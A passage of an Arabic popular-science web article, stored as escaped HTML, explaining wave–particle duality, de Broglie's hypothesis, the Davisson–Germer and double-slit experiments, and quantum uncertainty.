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right;\" dir=\"rtl\">\u00a0<\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0630\u0644\u0643 \u0645\u0627 \u064a\u0641\u0633\u0631\u0627\u0644\u0647\u062f\u0641 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0644\u0644\u0639\u0644\u0645 \u0627\u0644\u0630\u064a \u0643\u0627\u0646 \u062d\u062a\u0649 \u0641\u062a\u0631\u0629 \u0642\u0631\u064a\u0628\u0629 \u0647\u0648 \u0627\u0643\u062a\u0634\u0627\u0641 \u0646\u0638\u0627\u0645 \u0627\u0644\u0637\u0628\u064a\u0639\u0629. \u063a\u064a\u0631 \u0623\u0646 \u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u064a\u0643\u062a\u0634\u0641\u0648\u0646 \u0627\u0644\u0622\u0646 \u00ab\u00a0\u0627\u0644\u0641\u0648\u0636\u0649\u00a0\u00bb \u0641\u064a \u0627\u0644\u0637\u0628\u064a\u0639\u0629:<\/span><\/p>\n<ul style=\"text-align: right;\" dir=\"rtl\">\n<li><span style=\"font-size: medium;\">\u00a0\u00a0\u00a0 \u0641\u0647\u0644 \u062a\u063a\u064a\u0631\u062a \u0646\u0638\u0631\u0629 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href=\"http:\/\/www.google.com\/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=1&amp;cad=rja&amp;uact=8&amp;ved=0CB0QFjAA&amp;url=http%3A%2F%2Ffr.wikipedia.org%2Fwiki%2FAlbert_Einstein&amp;ei=RI5rVb_KPIPTUfP3gugJ&amp;usg=AFQjCNEQexWBxV8-8p3HHJGEyoNi0MhUCQ&amp;sig2=_uXN7jrkhz0IFZ3X7AL8QA&amp;bvm=bv.94455598,d.d24\">Albert Einstein<\/a> \u060c \u0641\u064a \u062d\u064a\u0646 \u064a\u0631\u0649 \u0627\u0644\u0643\u062b\u064a\u0631\u0648\u0646 \u0623\u0646\u0647\u0627 \u0641\u064a \u0627\u0644\u0623\u0635\u0644 \u062a\u0639\u0648\u062f \u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0627\u062a \u0627\u0644\u0641\u0631\u0646\u0633\u064a \u0647\u0646\u0631\u064a \u0628\u0648\u0627\u0646\u0643\u0627\u0631\u064a\u0647 <strong>Henri Poincar\u00e9<\/strong> \u0648\u0627\u0636\u0639 \u0627\u0644\u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u0646\u0633\u0628\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629. \u0646\u0634\u0631\u062a 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href=\"http:\/\/ar.wikipedia.org\/wiki\/%D9%86%D8%B8%D8%A7%D9%85_%D8%A7%D9%84%D8%AA%D9%85%D9%88%D8%B6%D8%B9_%D8%A7%D9%84%D8%B9%D8%A7%D9%84%D9%85%D9%8A\" title=\"\u0646\u0638\u0627\u0645 \u0627\u0644\u062a\u0645\u0648\u0636\u0639 \u0627\u0644\u0639\u0627\u0644\u0645\u064a\">\u0643\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0644\u0627\u062d\u0629 \u0627\u0644\u0639\u0627\u0644\u0645\u064a<\/a>GPS.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\">\u00a0<\/p>\n<h2 style=\"text-align: right;\" dir=\"rtl\"><strong><span style=\"font-size: medium;\"><span style=\"font-size: medium;\"> \u0627\u0644\u0646\u0638\u0631\u064a\u0629<\/span> \u0627\u0644\u062b\u0627\u0646\u064a\u0629 :\u00a0 \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645 La m\u00e9canique quantique:<\/span><\/strong><\/h2>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0641\u064a \u0628\u062f\u0627\u064a\u0629 \u0627\u0644\u0642\u0631\u0646 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\u0627\u0644\u0643\u0644\u0627\u0633\u064a\u0643\u064a\u0629 \u062a\u062a\u0646\u0628\u0623\u062a \u0623\u0646 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u0627\u062a \u0633\u062a\u062a\u0644\u0648\u0644\u0628 \u0648\u062a\u0635\u0637\u062f\u0645 \u0628\u0627\u0644\u0646\u0648\u0627\u0629 \u0641\u064a \u062c\u0632\u0621 \u0645\u0646 \u0627\u0644\u062b\u0627\u0646\u064a\u0629. \u0641\u064a \u062d\u064a\u0646 \u0627\u0644\u0648\u0627\u0642\u0639 \u064a\u0634\u064a \u0628\u062e\u0637\u0623 \u0627\u0644\u062a\u0646\u0628\u0624 (!!!!\u061f\u061f\u061f\u061f) &#8230; \u0648\u0645\u0639 \u062a\u0637\u0648\u0631 \u062a\u0651\u062c\u0627\u0631\u0628 \u0623\u062e\u0631\u0649 \u0644\u0627 \u062a\u0641\u0633\u0631\u0647\u0627 \u0644\u0627 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621 \u0627\u0644\u0643\u0644\u0627\u0633\u064a\u0643\u064a\u0629 \u0648\u0644\u0627 \u0641\u064a\u0632\u064a\u0627\u0621 \u0627\u0644\u0646\u0633\u0628\u064a\u0629\u00a0 \u0628\u062f\u0623 \u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u064a\u0628\u062d\u062b\u0648\u0646 \u0639\u0646 \u0646\u0638\u0631\u064a\u0629 \u062c\u062f\u064a\u062f\u0629 \u0642\u0627\u062f\u0631\u0629 \u0639\u0644\u0649 \u062a\u0648\u0636\u064a\u062d \u0648\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u0639\u0627\u0644\u0645 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0630\u0631\u064a.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0641\u064a 1690 \u0641\u0633\u0631 \u0643\u0631\u064a\u0633\u062a\u064a\u0627\u0646 \u0647\u0648\u063a\u0646\u0633 Christiaan Huygens \u0623\u0646 \u0627\u0644\u0636\u0648\u0621 \u0645\u0643\u0648\u0646 \u0645\u0646 <strong>\u0645\u0648\u062c\u0627\u062a<\/strong>\u060c \u0648\u0644\u0643\u0646 \u0641\u064a 1704 \u0641\u0633\u0631 \u0625\u0633\u062d\u0627\u0642 \u0646\u064a\u0648\u062a\u0646 \u0628\u0623\u0646 \u0627\u0644\u0636\u0648\u0621 \u0645\u0643\u0648\u0646 \u0645\u0646 <strong>\u062c\u0633\u064a\u0645\u0627\u062a \u0635\u063a\u064a\u0631\u0629<\/strong> \u062c\u062f\u0627&#8230; \u0648\u0642\u062f \u062f\u0639\u0645\u062a \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u0627\u0644\u062a\u062c\u0627\u0631\u0628 \u0643\u0644\u0649 \u0627\u0644\u0646\u0638\u0631\u064a\u062a\u064a\u0646\u060c \u0641\u0628\u0642\u064a \u0627\u0644\u0623\u0645\u0631 \u062f\u0648\u0646 \u062d\u0633\u0645 \u0639\u0644\u0649 \u0627\u0644\u0631\u063a\u0645 \u0623\u0646 \u0627\u0644\u0646\u0638\u0631\u064a\u062a\u064a\u0646 \u0644\u0627 \u064a\u0641\u0633\u0631\u0627\u0646 \u0627\u0644\u0648\u0636\u0639\u064a\u062a\u064a\u0646 \u0645\u0639\u0627\u060c \u0646\u0638\u0631\u064a\u0629 \u0647\u0648\u063a\u0646\u0633 \u062a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0636\u0648\u0621 \u0643\u0645\u0648\u062c\u0629 \u0641\u064a \u062d\u064a\u0646 \u0646\u0638\u0631\u064a\u0629 \u0646\u064a\u0648\u062a\u0646 \u062a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639\u0647 \u0643\u062c\u0633\u064a\u0645\u0629.. \u00a0\u0644\u0630\u0644\u0643 \u0648\u062e\u0644\u0627\u0644 200 \u0633\u0646\u0629 \u062a\u0639\u0627\u0645\u0644 \u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u0645\u0639 \u0627\u0644\u0636\u0648\u0621 \u0639\u0644\u0649 \u0627\u0646\u0647 \u062d\u064a\u0646\u0627 \u0645\u0648\u062c\u0629 \u0648\u062d\u064a\u0646\u0627 \u0622\u062e\u0631 \u062c\u0633\u064a\u0645\u0629\u060c \u0628\u062d\u0633\u0628 \u0627\u0644\u062a\u062c\u0631\u0628\u0629 \u0648\u0627\u0644\u0648\u0636\u0639\u064a\u0629 (\u061f\u061f\u061f\u061f).<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0\u0639\u0627\u0645 1923 \u0644\u0648\u064a\u0633 \u062f\u064a \u0628\u0631\u0648\u062c\u0644\u064a Louis Victor de Broglie \u0627\u0641\u062a\u0631\u0636 \u0628\u0623\u0646 \u0645\u0627\u062f\u0629 \u0627\u0644\u062c\u0633\u064a\u0645 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0644\u0647\u0627 \u0646\u0641\u0633 \u062e\u0648\u0627\u0635 \u0627\u0644\u0645\u0648\u062c\u0627\u062a\u060c \u0648\u0641\u064a 1927 \u0623\u0643\u062f\u062a \u062a\u062c\u0631\u0628\u0629 (<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Clinton_Joseph_Davisson\" title=\"Clinton Joseph Davisson\">Clinton J. Davisson<\/a> et <a href=\"http:\/\/fr.wikipedia.org\/wiki\/Lester_Halbert_Germer\" title=\"Lester Halbert Germer\">Lester H. Germer<\/a>) \u0623\u0646 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u0627\u062a \u064a\u0645\u0643\u0646 \u0623\u0646 \u062a\u062a\u0635\u0631\u0641 \u0645\u062b\u0644 \u0627\u0644\u0623\u0645\u0648\u0627\u062c.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0<strong>\u0643\u064a\u0641 \u064a\u0645\u0643\u0646 \u0644\u0634\u064a\u0621 \u0623\u0646 \u064a\u0643\u0648\u0646 \u062c\u0633\u064a\u0645 \u0648\u0645\u0648\u062c\u0629 \u0641\u064a \u0646\u0641\u0633 \u0627\u0644\u0648\u0642\u062a\u061f !!!!!!!!!!!!<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0627\u0644\u062a\u0639\u062c\u0628 \u0647\u0646\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0627\u0644\u062d\u062f\u064a\u062b \u0639\u0646 \u0634\u064a\u0621 \u062a\u0627\u0631\u0629 \u0645\u0627\u062f\u064a (\u062c\u0633\u064a\u0645) \u0648\u062a\u0627\u0631\u0629 \u0644\u0627 \u0645\u0627\u062f\u064a (\u0645\u0648\u062c\u0629)<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0644\u0641\u0647\u0645 \u0647\u0630\u0647 \u0627\u0644\u0627\u0632\u062f\u0648\u0627\u062c\u064a\u0629 \u0646\u0639\u0637\u064a \u0627\u0644\u0645\u062b\u0627\u0644 \u0627\u0644\u062a\u0628\u0633\u064a\u0637\u064a \u0627\u0644\u062a\u0627\u0644\u064a : \u00a0\u0644\u0646\u0641\u062a\u0631\u0636 \u0623\u0646 \u0644\u062f\u064a\u0646\u0627 \u0622\u0644\u0629 \u0631\u0645\u064a \u0627\u0644\u0646\u0628\u0627\u0644\u060c \u0648\u0647\u0646\u0627\u0643 \u0627\u062d\u062a\u0645\u0627\u0644 5% \u0628\u0623\u0646 \u062a\u0633\u0642\u0637 \u062a\u0644\u0643 \u0627\u0644\u0646\u0628\u0627\u0644 \u0641\u064a \u0646\u0642\u0637\u0629 \u0627\u0644\u0647\u062f\u0641 \u064895% \u0628\u0623\u0646 \u062a\u0633\u0642\u0637 \u0641\u064a \u0627\u0644\u062d\u0644\u0642\u0629 \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629&#8230;. \u00a0\u0648\u0644\u0627 \u064a\u0648\u062c\u062f \u0641\u0631\u0635\u0629 (\u0623\u064a 0 \u0627\u062d\u062a\u0645\u0627\u0644) \u0644\u0636\u0631\u0628 \u0623\u064a \u0645\u0643\u0627\u0646 \u0622\u062e\u0631 \u0639\u0644\u0649 \u0627\u0644\u0631\u0642\u0639\u0629&#8230; \u0628\u0645\u0639\u0646\u0649 \u0622\u062e\u0631 \u0627\u0646\u0647 \u0625\u0630\u0627 \u062a\u0631\u0643\u0646\u0627 \u0627\u0644\u0622\u0644\u0629 \u0644\u062a\u0631\u0645\u064a 100 \u0646\u0628\u0644\u0629 \u0648\u062a\u0631\u0643\u0646\u0627 \u0627\u0644\u0646\u0628\u0627\u0644 \u0627\u0644\u0645\u0627\u0626\u0629 \u0639\u0644\u0642\u0629 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0631\u0645\u064a \u0628\u0639\u062f \u0633\u0642\u0648\u0637\u0647\u0627\u060c \u0633\u0646\u0631\u0649 \u0643\u0644 \u0646\u0628\u0644\u0629 \u0645\u0646\u0641\u0631\u062f\u0629 (\u0648\u0633\u062a\u0638\u0647\u0631 \u0627\u0644\u0646\u0628\u0627\u0644 \u0643\u062c\u0633\u064a\u0645\u0627\u062a \u0645\u0639 \u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0645\u0643\u0627\u0646 \u0627\u0644\u0630\u064a \u062a\u0639\u0644\u0642 \u0628\u0647)\u060c \u00a0\u0644\u0643\u0646\u0646\u0627 \u062d\u064a\u0646 \u0645\u062d\u0627\u0648\u0644\u0629 \u0631\u0624\u064a\u0629 \u0627\u0644\u0644\u0648\u062d\u0629 \u0641\u064a \u0645\u062c\u0645\u0644\u0647\u0627\u060c \u0633\u0646\u0631\u0649 \u062d\u0644\u0642\u0629 \u0643\u0628\u064a\u0631\u0629 \u0645\u0646 \u0627\u0644\u0646\u0642\u0637 (\u062a\u0645\u062b\u0644 95 \u0646\u0628\u0644\u0629) \u00a0\u062a\u062d\u064a\u0637 \u0628\u0639\u0646\u0642\u0648\u062f \u0635\u063a\u064a\u0631 \u0641\u064a \u0627\u0644\u0645\u0646\u062a\u0635\u0641 (5 \u0646\u0628\u0627\u0644). \u0647\u0630\u0627 \u0627\u0644\u0646\u0645\u0648\u0630\u062c \u064a\u0645\u062b\u0644 \u00a0\u062a\u0631\u0627\u0643\u0645 \u0627\u0644\u0646\u0628\u0627\u0644 \u0627\u0644\u0641\u0631\u062f\u064a\u0629 \u062d\u0633\u0628 \u0627\u062d\u062a\u0645\u0627\u0644 \u0627\u0644\u0633\u0642\u0648\u0637\u060c \u0648\u0647\u0648 \u0645\u0627 \u064a\u0645\u062b\u0644 \u062d\u0631\u0643\u0627\u062a \u0627\u0644\u0645\u0648\u062c\u0627\u062a \u0623\u064a \u0633\u0644\u0648\u0643 \u0627\u0644\u0646\u0628\u0627\u0644.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0641\u0639\u0644\u0627 \u062a\u0645\u0643\u0646 \u0643\u0644\u064a\u0646\u062a\u0648\u0646 \u062f\u0627\u0641\u064a\u0633\u0648\u0646 \u0648 \u0644\u064a\u0633\u062a\u0631 \u062c\u064a\u0631\u0645\u0631 (<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Clinton_Joseph_Davisson\" title=\"Clinton Joseph Davisson\">Clinton J. Davisson<\/a> et <a href=\"http:\/\/fr.wikipedia.org\/wiki\/Lester_Halbert_Germer\" title=\"Lester Halbert Germer\">Lester H. Germer<\/a>) \u0627\u062b\u0628\u0627\u062a \u062a\u0644\u0643 \u0627\u0644\u062d\u0642\u064a\u0642\u0629 \u0639\u0646 \u0637\u0631\u064a\u0642 \u062a\u062c\u0627\u0631\u0628 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%AA%D8%AF%D8%A7%D8%AE%D9%84\" title=\"\u062a\u062f\u0627\u062e\u0644\">\u062a\u062f\u0627\u062e\u0644<\/a> \u0623\u062c\u0631\u0648\u0647\u0627 \u0628\u0648\u0627\u0633\u0637\u0629 \u062a\u0635\u0648\u064a\u0628 \u0641\u064a\u0636 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u0627\u062a \u0639\u0644\u0649 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%A8%D9%84%D9%88%D8%B1%D8%A9_%D8%A3%D8%AD%D8%A7%D8%AF%D9%8A%D8%A9\" title=\"\u0628\u0644\u0648\u0631\u0629 \u0623\u062d\u0627\u062f\u064a\u0629\">\u0628\u0644\u0648\u0631\u0629 \u0623\u062d\u0627\u062f\u064a\u0629<\/a> \u0645\u0646 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%A7%D9%84%D9%86%D8%AD%D8%A7%D8%B3\" title=\"\u0627\u0644\u0646\u062d\u0627\u0633\">\u0627\u0644\u0646\u062d\u0627\u0633<\/a> . \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0641\u0642\u062f \u0623\u062b\u0628\u062a \u0627\u0644\u0639\u0627\u0644\u0645\u0627\u0646 \u0635\u062d\u0629 \u0645\u0639\u0627\u062f\u0644\u0629 \u062f\u064a \u0628\u0631\u0648\u0644\u064a \u0639\u0646 <strong>\u0627\u0644\u0645\u0648\u062c\u0629 \u0627\u0644\u0645\u0627\u062f\u064a\u0629<\/strong>.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0628\u064a\u0646\u062a \u062a\u062c\u0631\u0628\u0629 \u0623\u062e\u0631\u0649 \u0645\u0634\u0647\u0648\u0631\u0629 \u0644\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u0627\u062a \u062a\u0633\u0645\u0649 \u062a\u062c\u0631\u0628\u0629 \u0627\u0644\u062b\u0642\u0628\u064a\u0646 \u060c \u0623\u062c\u0631\u0627\u0647\u0627 \u0643\u0644\u0627\u0648\u0633 \u062c\u0648\u0646\u0633\u0648\u0646 \u0639\u0627\u0645 1960 \u0641\u064a <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%AC%D8%A7%D9%85%D8%B9%D8%A9_%D8%AA%D9%8A%D9%88%D8%A8%D9%86%D8%AC%D9%86\" title=\"\u062c\u0627\u0645\u0639\u0629 \u062a\u064a\u0648\u0628\u0646\u062c\u0646\">\u062c\u0627\u0645\u0639\u0629 \u062a\u0648\u0628\u0646\u062c\u0646<\/a> <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%A3%D9%84%D9%85%D8%A7%D9%86%D9%8A%D8%A7\" title=\"\u0623\u0644\u0645\u0627\u0646\u064a\u0627\">\u0628\u0623\u0644\u0645\u0627\u0646\u064a\u0627<\/a>. \u0643\u0645\u0627 \u0623\u062c\u0631\u064a\u062a \u062a\u062c\u0627\u0631\u0628 \u0645\u0645\u0627\u062b\u0644\u0629 \u0639\u0646 \u0627\u0644\u062a\u062f\u0627\u062e\u0644 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%AC%D8%B3%D9%8A%D9%85%D8%A7%D8%AA_%D8%A3%D9%88%D9%84%D9%8A%D8%A9\" title=\"\u062c\u0633\u064a\u0645\u0627\u062a \u0623\u0648\u0644\u064a\u0629\">\u062c\u0633\u064a\u0645\u0627\u062a \u0623\u0648\u0644\u064a\u0629<\/a> \u060c \u0648\u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%B0%D8%B1%D8%A9\" title=\"\u0630\u0631\u0629\">\u0630\u0631\u0627\u062a<\/a> \u0623\u0648 \u062d\u062a\u0649 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%AC%D8%B2%D9%8A%D8%A6\" title=\"\u062c\u0632\u064a\u0626\">\u062c\u0632\u064a\u0626\u0627\u062a<\/a> \u060c \u0648\u0623\u062b\u0628\u062a\u062a \u0643\u0644 \u062a\u0644\u0643 \u0627\u0644\u062a\u062c\u0627\u0631\u0628 \u0627\u0641\u062a\u0631\u0627\u0636 \u062f\u064a \u0628\u0631\u0648\u0644\u064a \u0627\u0644\u0630\u064a \u062d\u0635\u0644 \u00a0\u0639\u0644\u0649 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D8%AC%D8%A7%D8%A6%D8%B2%D8%A9_%D9%86%D9%88%D8%A8%D9%84_%D9%84%D9%84%D9%81%D9%8A%D8%B2%D9%8A%D8%A7%D8%A1\" title=\"\u062c\u0627\u0626\u0632\u0629 \u0646\u0648\u0628\u0644 \u0644\u0644\u0641\u064a\u0632\u064a\u0627\u0621\">\u062c\u0627\u0626\u0632\u0629 \u0646\u0648\u0628\u0644 \u0644\u0644\u0641\u064a\u0632\u064a\u0627\u0621<\/a> \u0639\u0627\u0645 1929.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0644\u0646\u0634\u0631\u062d \u0625\u0630\u0627 \u0627\u062d\u062f \u0623\u0647\u0645 \u0645\u0631\u062a\u0643\u0632\u0627\u062a \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645<\/strong>: \u064a\u0639\u062a\u0628\u0631 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646 \u0644\u0641\u0638\u0627 \u0645\u0623\u0644\u0648\u0641\u0627 \u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0643\u0644 \u0625\u0646\u0633\u0627\u0646\u060c \u062d\u062a\u0649 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0627\u0644\u0635\u063a\u0627\u0631 \u064a\u0639\u062a\u0628\u0631\u0648\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u062c\u0632\u0621 \u0623\u0633\u0627\u0633\u064a \u0645\u0646 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0645\u0639\u0627\u0635\u0631\u0629&#8230; \u0648\u0644\u0643\u0646 \u0645\u0627 \u0647\u0648 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646 \u0639\u0644\u0649 \u0648\u062c\u0647 \u0627\u0644\u062a\u062d\u062f\u064a\u062f\u061f \u00a0\u0641\u0647\u0630\u0627 \u0623\u0645\u0631 \u0642\u062f \u0644\u0627 \u0646\u0639\u0631\u0641\u0647\u060c \u0648(\u0646\u062d\u0646) \u0647\u0646\u0627 \u0644\u0627 \u0646\u0639\u0646\u064a \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0627\u0644\u0639\u0627\u062f\u064a \u0641\u0642\u0637\u060c \u0648\u0625\u0646\u0645\u0627 \u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u0623\u064a\u0636\u0627 .<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646 \u0647\u0648 \u0623\u062d\u062f \u0627\u0644\u062c\u0633\u064a\u0645\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u062a\u0643\u0648\u0646 \u0645\u0646\u0647\u0627 \u0627\u0644\u0630\u0631\u0629\u060c \u0648\u0647\u0648 \u064a\u062f\u0648\u0631 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\u0627\u0644\u0637\u0628\u064a\u0639\u064a\u0629 \u0645\u062b\u0644 \u0623\u064a \u062c\u0633\u0645 \u0637\u0628\u064a\u0639\u064a \u0622\u062e\u0631. \u00a0\u0641\u064a\u0645\u0643\u0646\u0646\u0627 &#8211; \u0645\u062b\u0644\u0627 &#8211; \u0623\u0646 \u0646\u062a\u0646\u0628\u0623\u060c \u0625\u0630\u0627 \u0639\u0631\u0641\u0646\u0627 \u0645\u0648\u0642\u0639\u0647 \u0627\u0644\u062d\u0627\u0644\u064a \u0648\u0633\u0631\u0639\u062a\u0647 \u0648\u0627\u062a\u062c\u0627\u0647\u0647\u060c \u0623\u064a\u0646 \u064a\u0648\u062c\u062f \u0648\u0641\u064a \u0623\u064a \u0627\u062a\u062c\u0627\u0647 \u064a\u062a\u062d\u0631\u0643 \u0648\u0628\u0623\u064a \u0633\u0631\u0639\u0629 \u0643\u0645\u0627 \u0647\u0648 \u0627\u0644\u062d\u0627\u0644 \u0645\u0639 \u0623\u064a \u062c\u0633\u0645 \u0637\u0628\u064a\u0639\u064a \u0622\u062e\u0631.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 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<strong>\u0641\u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u0627\u062a \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u062d\u0627\u0644 \u062a\u0633\u0644\u0643 \u0633\u0644\u0648\u0643 \u0627\u0644\u0645\u0648\u062c\u0627\u062a \u0648\u0644\u064a\u0633 \u0633\u0644\u0648\u0643 \u0627\u0644\u062c\u0633\u064a\u0645\u0627\u062a.<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0628\u0644 \u0625\u0630\u0627 \u0623\u0633\u0642\u0637\u062a \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u0627\u062a \u0648\u0627\u062d\u062f\u0627 \u0648\u0627\u062d\u062f\u0627 \u0646\u062c\u062f \u0623\u0646 \u0646\u0645\u0637 \u0627\u0644\u062a\u062f\u0627\u062e\u0644 \u064a\u0638\u0644 \u0645\u0648\u062c\u0648\u062f\u0627\u060c \u0647\u0644 \u064a\u0639\u0646\u064a \u0647\u0630\u0627 \u0623\u0646 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646 \u0627\u0644\u0648\u0627\u062d\u062f \u0642\u062f \u0645\u0631 \u062e\u0644\u0627\u0644 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\u0622\u062e\u0631\u061f \u0627\u0644\u062c\u0648\u0627\u0628 \u0646\u0639\u0645\u060c \u0644\u0643\u0646 \u0627\u0644\u063a\u0631\u064a\u0628 \u0627\u0646\u0647 \u064a\u0646\u062a\u0642\u0644 \u0645\u0627 \u0628\u064a\u0646 \u062a\u0644\u0643 \u0627\u0644\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u062f\u0648\u0646 \u0623\u0646 \u064a\u0645\u0631 \u0628\u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0641\u0627\u0635\u0644\u0629 \u0628\u064a\u0646\u0647\u0645\u0627 &#8211;<strong>\u0623\u064a \u0644\u0627 \u064a\u0645\u0643\u0646 \u0627\u0646 \u064a\u062a\u0648\u0627\u062c\u062f \u0628\u064a\u0646\u0647\u0645\u0627<\/strong>-. \u0645\u0627 \u064a\u062d\u062f\u062b \u0627\u0646\u0647 \u0643\u0644\u0645\u0627 \u0627\u0646\u062a\u0642\u0644 \u0625\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0623\u0639\u0644\u0649 \u0627\u0645\u062a\u0635\u0651 \u0648\u062d\u062f\u0629 \u0645\u0646 \u0627\u0644\u0637\u0627\u0642\u0629 (\u062a\u0633\u0645\u0649 \u0641\u0648\u062a\u0648\u0646)&#8230;.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0643\u0645\u0627 \u0623\u0646\u0647 \u0644\u0627 \u064a\u0645\u0643\u0646\u00a0 \u0645\u0639\u0631\u0641\u0629 \u0645\u0643\u0627\u0646 \u0648\u0633\u0631\u0639\u0629 \u0648\u0627\u062a\u062c\u0627\u0647 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646 \u0641\u064a \u0627\u0644\u0648\u0642\u062a \u0646\u0641\u0633\u0647. \u0648\u0630\u0644\u0643 \u0644\u064a\u0633 \u0628\u0633\u0628\u0628 \u0639\u062f\u0645 \u0648\u062c\u0648\u062f \u0623\u062c\u0647\u0632\u0629 \u0644\u0644\u0642\u064a\u0627\u0633\u060c \u0648\u0625\u0646\u0645\u0627 \u0625\u0630\u0627 \u0639\u0631\u0641\u0646\u0627 \u0645\u0643\u0627\u0646\u0647 \u0628\u062f\u0642\u0629 \u0623\u0635\u0628\u062d\u062a \u0633\u0631\u0639\u062a\u0647 \u063a\u064a\u0631 \u0645\u062d\u062f\u062f\u0629 \u0625\u0644\u0627 \u0628\u0648\u0627\u0633\u0637\u0629 \u0627\u0644\u0627\u062d\u062a\u0645\u0627\u0644\u0627\u062a\u060c \u0623\u0645\u0627 \u0625\u0630\u0627 \u0639\u0631\u0641\u0646\u0627 \u0633\u0631\u0639\u062a\u0647 \u0623\u0635\u0628\u062d \u0645\u0643\u0627\u0646\u0647 \u063a\u064a\u0631 \u0645\u062d\u062f\u062f.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0628\u0645\u0639\u0646\u0649 \u0622\u062e\u0631 \u064a\u0645\u0643\u0646 \u0644\u0644\u0627\u0644\u0643\u062a\u0631\u0648\u0646 \u0623\u0646 \u064a\u062a\u0648\u0627\u062c\u062f \u0641\u064a \u0623\u0643\u062b\u0631 \u0645\u0646 \u0645\u0643\u0627\u0646 \u0641\u064a \u0627\u0644\u0648\u0642\u062a \u0646\u0641\u0633\u0647.!!!!<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0641\u064a 